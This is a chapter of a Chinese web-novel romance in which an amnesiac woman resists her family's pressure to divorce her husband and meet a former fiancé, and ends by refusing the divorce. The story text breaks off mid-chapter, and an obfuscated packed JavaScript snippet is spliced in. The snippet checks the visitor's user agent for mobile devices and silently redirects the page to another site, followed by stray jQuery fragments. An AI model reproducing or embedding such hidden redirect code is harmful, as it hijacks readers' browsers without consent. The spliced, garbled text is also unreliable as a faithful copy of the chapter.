何嘉懿坐在位置上，低头看着指尖。方才不小心沾上的酱油没有擦拭干净，此时正顺着指纹纹路缓缓晕染开来。
她抬手，又抽出纸巾擦了擦，随后拿起一旁的湿毛巾，手指用力地碾了几下。
“嘉嘉，”何诚轩声音放轻，很有耐心的样子，“你究竟是怎么想的？告诉哥哥，不要不说话。”
何嘉懿扔掉毛巾，终于抬起了头。
“你们就这么讨厌沈斯白吗？”
何诚轩一时间被问得有些发蒙。有一刹那，他甚至以为何嘉懿是不是想起来了。这个问题的答案如此显而易见，若是遇见沈斯白之前的何嘉懿，那是绝对问不出口的。
何诚轩下意识皱起眉来：“这还用说吗？你什么家境、他什么家境？父亲早亡，母亲打零工养活他，还在贫民窟里住过。你不要跟我说他现在读了博士之后出来当律师，税前将近年薪百万，看着还挺像样的。但他之前所处的环境是那样的，心理就很有可能不健全吧？”
何诚轩来的路上就已经想好了这些说词，故而越讲越顺：“你看看他整天冷着脸，见到谁都不愿意搭理，一点基本的礼数都不懂。之前你带他回家，他见到爸妈，就点头问了声好，问完好就不说话了。他娶你本来就是占便宜，竟然还做出这副样子，到底是想给谁气受？”
“再说了，”何诚轩继续道，“他这样的条件，这么短的时间里就把你给哄得晕头转向的，还非他不可了。这不是摆明了要吃绝户吗？嘉嘉，你之前是被迷得五迷三道，现在可不能再糊涂了啊。现在离婚，还不算太晚。也幸好你们之前有签婚前协议，离婚还不算太复杂。”
后面的话，何嘉懿几乎一个字都没听进去。
她的意识全部集中于那几个词——“父亲早亡”、“母亲打零工”、“贫民窟”、“心理不健全”。
看着对面嘴巴一张一合的何诚轩，何嘉懿忽然觉得很荒唐。她的大脑明明什么都不记得，可身体却先一步给出了反应。抗拒感在血液里翻涌，层层堆叠，压得她心口发沉，疼得几乎喘不过气。
“别说了！”她忍着剧痛，闭上双眼，几乎是在惊声尖叫。
何诚轩一怔，话音戛然而止。见她表情痛苦，他有些担忧地唤了一声：“嘉嘉？”
何嘉懿双眼紧闭着，没有回应。何诚轩叹了口气，又继续道：“嘉嘉，不要再执迷不悟了。你要知道，家人才是你最亲的人啊，我们是不会害你的。”
她不知道是谁在疼。
是她吗？可她明明什么都不记得。
何嘉懿轻轻眨了眨眼，水意被逼回去，她垂下头，看着桌布道：“哥，你说这些话的时候，有没有想过以前的我会是什么感受？”
何诚轩没听明白，眉心微皱：“你之前根本就不让我们说他一点不好。”
“嗯，”何嘉懿点了下头，抬头看向他，平静道，“那以后也别再说了。”
“何嘉懿，”何诚轩眉头皱得更深了几分，“你什么意思？失了一次忆，重来一回，结果又被他给迷住了？这小子是给你下蛊了吗？你以前谈过的帅哥也不少，不可能光看脸就被迷成这样吧？”
何嘉懿听见这句话，反倒笑了一下。笑意很浅，落在唇角便散了。
她抬眸看向何诚轩，面无表情地问：“你这次来春申，是带了离婚协议一起吧？”
何诚轩张了张嘴，却没发出声音，一时竟被她这突如其来的冷淡噎住。
倏然，包间的落地窗外有车灯掠过。冷白光线穿过纱帘，短促地扫过何嘉懿面庞，映得她整个人煞白。
光线很强，她却没有下意识闭眼。
如果失去记忆，你还是你自己吗？
你和从前的那个人，还是同一个人吗？
何嘉懿不知道。
从餐厅出来时，她的中号手提包敞开着，露出了半个文件袋。
夜风从街口灌过来，吹得她脖颈一凉。何嘉懿伸手拢了拢大衣领口，指尖触到锁骨处冰凉的肌肤，不禁打了个寒颤。
春申的夜晚总是这样，白日里明明还带着点暖意，太阳一落，风便像忽然想起自己本该属于冬天似的，毫不留情地钻进衣领里、钻进骨头缝里。路边的法国梧桐早已落尽叶子，只剩枯枝在风里摩擦，发出细碎的响声。
她的公寓离餐厅不远，何诚轩已经先一步叫车离开，剩她一人独自沿着街边溜达回家。
她踩在路灯光圈里，手提包顺着肩膀下滑，被她一把抓住。手指不小心碰到文件袋尖角，硬挺的边缘刺得她整个人缩了一下。
手机铃声突然响起，何嘉懿拿起来看了一眼，按下接通键。
“嘉嘉，”陈楠的声音顺着听筒传来，“我听你哥哥说，你把离婚协议拿回去啦？”
何嘉懿摩挲着指腹被硌出来的红痕，“嗯”了一声，低着头继续往前走。
陈楠连连念了几声“佛祖保佑”，又道：“太好了，你总算脑子清醒过来了。我女儿总算是回来了！”
“老何，”她又转头，高声唤道，“你快过来，嘉嘉准备离婚了。”
何父走过来，接起电话，声音中充满了愉悦：“嘉嘉，你终于想通了？”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059504|194992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
何嘉懿没说话。
所幸何父也根本没有在等她的回话，自顾自继续道：“这就对了。我已经跟你彭叔叔聊过了，他说他们还是很喜欢你的，小彭也一直对你不错。你们周末见个面吧？和你哥一起。”
风从耳边掠过，吹得听筒里也有细碎的杂音，某一瞬间，何嘉懿甚至以为自己听错了。
她停下脚步，站在路灯光圈的边缘。光落在她半边肩头，另一半沉进阴影里，使她整个人仿佛被夜色硬生生地切割开来。
“嘉嘉？”何父兴冲冲地说了半天，才察觉到对面一直没有回应。
“什么意思？没听明白。”何嘉懿抬头看向不远处，声音温度同吹过她面颊的风一样。
“就是让你和小彭一起吃个饭嘛，”何父显然心情很好，语气里带着一种尘埃落定的笃定，“大家坐下来吃顿饭，把话说开。你现在这个状态，身边还是得有个知根知底的人照应着，这样我们也放心。”
街口的绿灯亮起，车流在她眼前一辆辆掠过。何嘉懿站在人行道边，影子被拉得很长，又被下一束灯光截断。
“我不去。”她语气生硬。
“嘉嘉，”何父的声音低了几分，显而易见有些不悦，又耐着性子解释，“你怎么不明白呢？我们这都是为了你好……算了，你现在记忆出问题，情绪也不稳定，很多判断都不可靠。等过段时间恢复了，再回头看今天的决定，你肯定会感谢我们的。”
“爸，”她开口，语气出奇地平静，“你们真觉得这样合适吗？我这边离婚协议刚拿到，还没签上，你们就要我去见彭涵宇这个前未婚夫？你们是想侮辱彭涵宇，还是想侮辱我？”
电话那头明显一滞。
过了一会，陈楠的声音重新响起来：“嘉嘉，你这孩子，怎么现在一点都不听话了？”
何嘉懿突然笑了起来。
她从包里拿出刚才连看都没敢看的文件袋，取出协议书，从头到尾翻看了一遍。条款写得很漂亮，财产分割、居住安排、婚前协议的引用，每一处都留得恰到好处。
电话那头的陈楠还在絮絮叨叨：“你乖一点，别跟你爸顶嘴。你碰到沈斯白之前，一直都是很听话的啊。现在失忆了，也该变回去了吧？再说，彭涵宇那孩子——”
“妈。”何嘉懿忽然开口。
“嗯？”电话那头停了停。
何嘉懿把协议书翻回来，面上带着近乎讥诮的笑，抬手一抛，连带着文件袋一起，扔进了一旁的垃圾桶里。
对着听筒，她一字一顿道：“这婚，我不离了。”